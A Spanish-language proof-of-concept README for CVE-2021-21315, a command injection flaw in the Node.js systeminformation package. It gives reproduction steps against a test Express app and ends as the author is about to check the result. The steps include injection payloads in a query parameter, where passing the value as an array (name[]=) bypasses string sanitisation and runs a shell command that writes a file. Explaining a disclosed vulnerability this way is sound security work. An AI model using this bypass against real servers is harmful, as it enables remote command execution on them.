CVE-2021-21315-systeminformation

Esto es una prueba de concepto para CVE-2021-21315 que afecta a The System Information Library para Node.JS (paquete npm "systeminformation"). npmjs.com/systeminformation

"asegúrese de comprobar o sanear los parámetros de servicio que se pasan a si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... solo permita cadenas, rechace cualquier array. El saneamiento de cadenas funciona como se espera."

Debido a que es una vulnerabilidad no bien explicada (en mi opinión), decidí codificar una pequeña aplicación basándome en la versión vulnerable de systeminformation. El PoC contiene:

1. Aplicación de prueba hecha en Node.js, usando express y systeminformation vulnerable
2. Payload de prueba simple para crear un archivo .txt en la máquina afectada

Pasos para reproducir:

1. Ejecute la aplicación en un entorno de servidor Linux
2. Haga una solicitud GET a site.com/api/getServices?name=nginx (nginx es solo un ejemplo)
3. Ahora intente enviar una solicitud como esta: yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)

Esto fallará, debido al saneamiento de cadenas:

Como se dice en los detalles del CVE: "el saneamiento funciona como se espera, rechace cualquier array [...]"

4. Ahora intente enviar la solicitud: yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt) Esta vez, si observa el valor de "name", no fue saneado: ¡éxito! Veamos si el comando se ejecutó